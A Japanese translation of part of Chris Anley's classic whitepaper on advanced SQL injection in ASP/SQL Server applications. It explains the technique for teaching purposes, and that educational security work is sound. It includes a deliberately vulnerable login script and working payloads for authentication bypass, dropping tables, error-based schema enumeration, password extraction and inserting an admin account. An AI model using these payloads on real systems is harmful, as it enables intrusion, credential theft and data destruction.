翻訳者のメモ
この作業は、Chris Anley SQL Server Applicationsの高度なSQLインジェクションの作業の一部を翻訳したものです。 ( 直接ダウンロードリンク )
後続の記事で、空き時間があれば、この転送は完了します。
PSの翻訳は、教育や歴史的な目的にとってより興味深いものになります。
記事の元のタイトル:SQL言語を使用したアプリケーションでの高度なSQLインジェクション。
注釈
この記事では、Microsoft Internet Information Server / Active Server Pages / SQL Serverプラットフォームでよく知られている「SQLインジェクション」の一般的な方法について詳しく説明します。 アプリケーションでのSQLインジェクションのさまざまな使用方法について説明し、データ検証技術、およびインジェクションを使用できるデータベースの保護について説明します。
はじめに
構造化照会言語(SQL)は、データベースとの対話に使用される構造化言語です。 SQL言語には多くの「方言」がありますが、今日では、基本的に、それらはすべて、最も初期のANSI標準の1つであるSQL-92標準に基づいて構築されています。 メインのSQL操作ブロックはクエリです。クエリは、通常結果のコレクション(結果セット)を返す式のコレクションです。 SQL式は、データベースの構造を変更し(データ定義言語の式を使用して-DLL)、その内容を管理できます(データ操作言語の式を使用して-DML)。 このホワイトペーパーでは、Microsoft SQL Serverで使用されるtransact-SQLについて説明します。
攻撃者がSQLコードをクエリに貼り付けて、アプリケーションに送信されるデータを制御できる場合、SQLインジェクションが可能です。
通常のSQLステートメントは次のようになります。
select id, forename, surname from authors
この式は、「authors」テーブルの列から「id」、「forename」、および「surname」を取得し、テーブル内のすべての行を返します。 選択は、特定の「著者」によって制限される場合があります。次に例を示します。
select id, forename, surname from authors where forename = 'john' and surname = 'smith'
このクエリ文字列リテラルは一重引用符で区切られていることに注意してください。 「forename」と「surrname」はユーザー入力であると想定されています。 この場合、攻撃者はアプリケーションに独自の値を追加することにより、独自のSQLクエリを作成できます。 例:
<source lang="html"> Forename: jo'hn Surname: smith
その後、式は次の形式を取ります。
select id, forename, surname from authors where forename = 'jo'hn' and surname = 'smith'
データベースがそのようなリクエストを処理しようとすると、次のエラーが返されます。
Server: Msg 170, Level 15, State 1, Line 1 Line 1: Incorrect syntax near 'hn'.
エラーの原因は、入力された一重引用符がリクエストのデリミタ構造を台無しにすることです。 したがって、データベースはhnコマンドの実行に失敗し、エラーが発生します。 その結果、攻撃者が次の情報をフォームに入力した場合:
Forename: jo'; drop table authors-- Surname:
「authors」テーブルは削除されます;これが起こる理由は後で検討します。
入力フォームから一重引用符を削除し、それらを「置換」すると、問題が解決する場合があります。 そして、あなたは正しいでしょう、しかし、この問題の解決策としてこの方法を使用していくつかの問題があります。 まず、すべてのユーザー入力が「文字列」ではありません。 ユーザーフォームに著者の「ID」が含まれる場合、通常は数字です。 たとえば、クエリは次のようになります。
select id, forename, surname from authors where id=1234
この場合、クラッカーは数値データの後に任意のSQL式を自由に追加できます。 他の種類のSQLクエリでは、さまざまな区切り文字が使用されます。 たとえば、Microsoft Jet DBMSでは、区切り文字は「#」文字になります。 第二に、一重引用符を「エスケープ」することは、最初はそう思われるかもしれませんが、保護する最も簡単な方法ではありません。 これについては後で詳しく説明します。
以下は、SQLを使用してデータベースにアクセスし、アプリケーション内のユーザーを承認するActive Server Pages(ASP)ベースのログインページに基づく例です。
ユーザー名とパスワードが入力されるログインフォームを含むページのコードは次のとおりです。
<HTML> <HEAD> <TITLE>Login Page</TITLE> </HEAD> <BODY bgcolor='000000' text='cccccc'> <FONT Face='tahoma' color='cccccc'> <CENTER><H1>Login</H1> <FORM action='process_login.asp' method=post> <TABLE> <TR><TD>Username:</TD><TD><INPUT type=text name=username size=100% width=100></INPUT></TD></TR> <TR><TD>Password:</TD><TD><INPUT type=password name=password size=100% width=100></INPUT></TD></TR> </TABLE> <INPUT type=submit value='Submit'> <INPUT type=reset value='Reset'> </FORM> </FONT> </BODY> </HTML>
以下は、入力されたデータの正確さを決定するコード(process_login.asp)です。
<HTML> <BODY bgcolor='000000' text='ffffff'> <FONT Face='tahoma' color='ffffff'> <STYLE> p { font-size=20pt ! important} font { font-size=20pt ! important} h1 { font-size=64pt ! important} </STYLE> </script> <script> <%@LANGUAGE = JScript %> <% function trace( str ) { if( Request.form("debug") == "true" ) Response.write( str ); } function Login( cn ){ var username; var password; username = Request.form("username"); password = Request.form("password"); var rso = Server.CreateObject("ADODB.Recordset"); var sql = "select * from users where username = '" + username + "' and password = '" + password + "'"; trace( "query: " + sql ); rso.open( sql, cn ); %> if (rso.EOF) { rso.close();
<FONT Face='tahoma' color='cc0000'> <H1> <CENTER>ACCESS DENIED</CENTER> </H1> </BODY> </HTML> } else{ %> <% } Response.end return; Session("username") = "" + rso("username"); <FONT Face='tahoma' color='00cc00'> <H1> <CENTER>ACCESS GRANTED
Welcome, Response.write(rso("Username")); Response.write( "</BODY></HTML>" ); Response.end } function Main() { //Set up connection var username var cn = Server.createobject( "ADODB.Connection" ); cn.connectiontimeout = 20; cn.open( "localserver", "sa", "password" ); username = new String( Request.form("username") ); if( username.length > 0) { Login( cn ); } } cn.close(); Main(); %>
この脆弱性は「process_login.asp」に含まれており、次の形式のリクエストを作成します。
var sql = "select * from users where username = '" + username + "' and password = '" + password + "'";
ユーザーが入力した場合:
Username: '; drop table users-- Password:
「ユーザー」テーブルが削除され、すべてのユーザーのアプリケーションへのアクセスがブロックされます。 Transact-SQLの「-」の組み合わせは単一行のコメントを定義し、「;」は1行の終わりと別の行の始まりを示します。 このリクエスト内の2つの連続したダッシュは、エラーなしでリクエストを完了するために使用されます。
さらに、攻撃者は次の構成を使用して、任意のユーザー名でシステムにログインできます。
Username: admin'--
次の情報を入力すると、クラッカーは架空のユーザーとしてシステムにログインできます。
Username: ' union select 1, 'fictional_user', 'some_password', 1--
このメソッドの操作性の理由は、アプリケーションが、返されたダミー結果がデータベースからのレコードのセットであると「信じる」ためです。
エラーメッセージに基づいて情報を取得する
この手法の発明者は、侵入テスト(セキュリティシステムのテスト)の分野の研究者であるDavid Litchfieldです。 デイビッドは後にこのテーマに関する研究を書きました[1]。これは他の多くの著者によって引用されました。 彼の作品は、エラーメッセージを使用するメカニズム、つまり「エラーメッセージ」テクニックを説明しています。 彼の作品では、彼はこのテクニックを読者に完全に説明し、この問題に対する彼自身の理解の発展にさらなる推進力を与えています。
データ管理を成功させるには、攻撃者はアクセスしたいデータベースとテーブルの構造を知っている必要があります。 たとえば、「ユーザー」のテーブルは次のコマンドを使用して作成されました。
create table users( id int, username varchar(255), password varchar(255), privs int )
また、次のユーザーが含まれます。
insert into users values( 0, 'admin', 'r00tr0x!', 0xffff ) insert into users values( 0, 'guest', 'guest', 0x0000 ) insert into users values( 0, 'chris', 'password', 0x00ff ) insert into users values( 0, 'fred', 'sesame', 0x00ff )
ハッカーが自分のレコードをテーブルに挿入したいとします。 彼がその構造を知らなければ成功する可能性は低いです。 しかし、たとえ彼が成功したとしても、privsフィールドの価値は理解できないままです。 攻撃者は、アプリケーションの管理者レベルでアクセスする必要がある一方で、低い特権でアカウントを作成することにより、「1」の値を挿入できます。
幸いなことに、ハッカーにとってのエラー時のASPの標準的な動作は、エラーに関するメッセージを表示し、データベース構造を完全に決定することで、アプリケーションデータベースにリストされているユーザーアカウントからすべてのフィールドの値を見つけることです。
(次の例では、上記のデータベースとaspスクリプトを使用して、この手法の動作を示します。)
まず、攻撃者は、クエリが機能するテーブルの名前とフィールドの名前を設定する必要があります。 この目標を達成するために、攻撃者はselect式で「have」構成を使用します。
Username: ' having 1=1--
次のエラーが発生します。
Microsoft OLE DB Provider for ODBC Drivers error '80040e14' [Microsoft][ODBC SQL Server Driver][SQL Server]Column 'users.id' is invalid in the select list because it is not contained in an aggregate function and there is no GROUP BY clause. /process_login.asp, line 35
したがって、テーブルの名前とそのテーブルの最初の列の名前を知っています。 以下に示すように、「group by」演算子を使用してこの手順を続行できます。
Username: ' group by users.id having 1=1--
(これにより、新しいエラーが生成されます)
Microsoft OLE DB Provider for ODBC Drivers error '80040e14' [Microsoft][ODBC SQL Server Driver][SQL Server]Column 'users.username' is invalid in the select list because it is not contained in either an aggregate function or the GROUP BY clause. /process_login.asp, line 35
その結果、ハッカーは次のような設計になります。
' group by users.id, users.username, users.password, users.privs having 1=1--
これはエラーを引き起こさず、次と同等です:
select * from users where username = ''
したがって、攻撃者は、リクエストがそのテーブルが「id、username、password、privs」であるusersテーブルにのみ影響することを学習します(この順序で)。
各列で使用されているデータのタイプを確認できる場合に役立つ情報。 データ型に関する情報は、たとえば次のように「型変換」を使用して取得できます。
Username: ' union select sum(username) from users--
summ()の意味は、値が数値であるか文字であるかを判別する前に、SQLサーバーが実行を試みることです。 テキストフィールドの「合計」を計算しようとすると、次のエラーが発生します。
Microsoft OLE DB Provider for ODBC Drivers error '80040e07' [Microsoft][ODBC SQL Server Driver][SQL Server]The sum or average aggregate operation cannot take a varchar data type as an argument. /process_login.asp, line 35
これは、ユーザー名フィールドのデータ型がvarcharであることを示しています。 一方、数値型の合計()を計算しようとすると、2つのテキスト行のセットの文字数が一致しないことを通知するメッセージが表示されます。
Username: ' union select sum(id) from users-- Microsoft OLE DB Provider for ODBC Drivers error '80040e14' [Microsoft][ODBC SQL Server Driver][SQL Server]All queries in an SQL statement containing a UNION operator must have an equal number of expressions in their target lists. /process_login.asp, line 35
同様の手法を使用して、データベースにあるほとんどすべての列、テーブルのデータ型を判別できます。
これは、攻撃者が適切に構成された「挿入」リクエストを作成するのに役立ちます。たとえば:
Username: '; insert into users values( 666, 'attacker', 'foobar', 0xffff )--
ただし、アルゴリズムの可能性のために、これで終わりではありません。 ハッカーは、環境またはデータベース自体に関するエラーから有用な情報を取得できます。 標準エラーのリストは、次の構成を使用して取得できます。
select * from master..sysmessages
このリクエストを完了すると、多くの興味深い情報を取得できます。
型変換情報は特に役立ちます。 文字列を整数に変換しようとすると、すべての文字列コンテンツを含むメッセージが返されます。 この例では、ユーザー名の変換により、オペレーティングシステムのバージョンだけでなく、SQLサーバーのバージョンも返されます。
Username: ' union select @@version,1,1,1-- Microsoft OLE DB Provider for ODBC Drivers error '80040e07' [Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value 'Microsoft SQL Server 2000 - 8.00.194 (Intel X86) Aug 6 2000 00:57:48 Copyright (c) 1988-2000 Microsoft Corporation Enterprise Edition on Windows NT 5.0 (Build 2195: Service Pack 2) ' to a column of data type int. /process_login.asp, line 35
上記の例では、組み込み定数を変換しようとします
'@@version'
usersテーブルの最初の列にはこのデータ型があるため、整数値に変換します。
このメソッドを使用して、データベース内の任意のテーブルの任意の値を読み取ることができます。 したがって、攻撃者がユーザー名とパスワードを知りたい場合、ほとんどの場合、次の構造を使用してデータを読み取ります。
Username: ' union select min(username),1,1,1 from users where username > 'a'--
「username」が「a」より大きいユーザーを選択すると、タイプを整数値に変換しようとします。
Microsoft OLE DB Provider for ODBC Drivers error '80040e07' [Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the varchar value 'admin' to a column of data type int. /process_login.asp, line 35
したがって、ユーザーのリストを取得し、その後、パスワードの受信に進むことができます。
Username: ' union select password,1,1,1 from users where username = 'admin'-- Microsoft OLE DB Provider for ODBC Drivers error '80040e07' [Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the varchar value 'r00tr0x!' to a column of data type int. /process_login.asp, line 35
よりエレガントな方法は、1つの選択ですべてのユーザー名とパスワードを選択し、それらを整数値に変換することです。 Transact-SQL式は、意味を変えずに1行で収集できることに注意してください。次の例を検討してください。
begin declare @ret varchar(8000) set @ret=':' select @ret=@ret+' '+username+'/'+password from users where username>@ret select @ret as ret into foo end
攻撃者が次のユーザー名で「ログイン」することは明らかです。
Username: '; begin declare @ret varchar(8000) set @ret=':' select @ret=@ret+' '+username+'/'+password from users where username>@ret select @ret as ret into foo end--
このクエリは、すべての行が配置される単一の「ret」列を含むテーブルfooを作成します。 多くの場合、低い権限を持つユーザーでさえ、データベースまたは一時データベースにテーブルを作成できます。
したがって、攻撃者は前の例のように、このテーブルからすべての行を選択できます。
Username: ' union select ret,1,1,1 from foo-- Microsoft OLE DB Provider for ODBC Drivers error '80040e07' [Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the varchar value ': admin/r00tr0x! guest/guest chris/password fred/sesame' to a column of data type int. /process_login.asp, line 35
そして、トレースに気づいた後、テーブルを削除します:
Username: '; drop table foo--
上記の例は、このアルゴリズムが提供するすべての柔軟性を示しています。 攻撃者がデータベースへのアクセス中にエラーを発生させた場合、彼らの作業は大幅に簡素化されると言う必要はありません。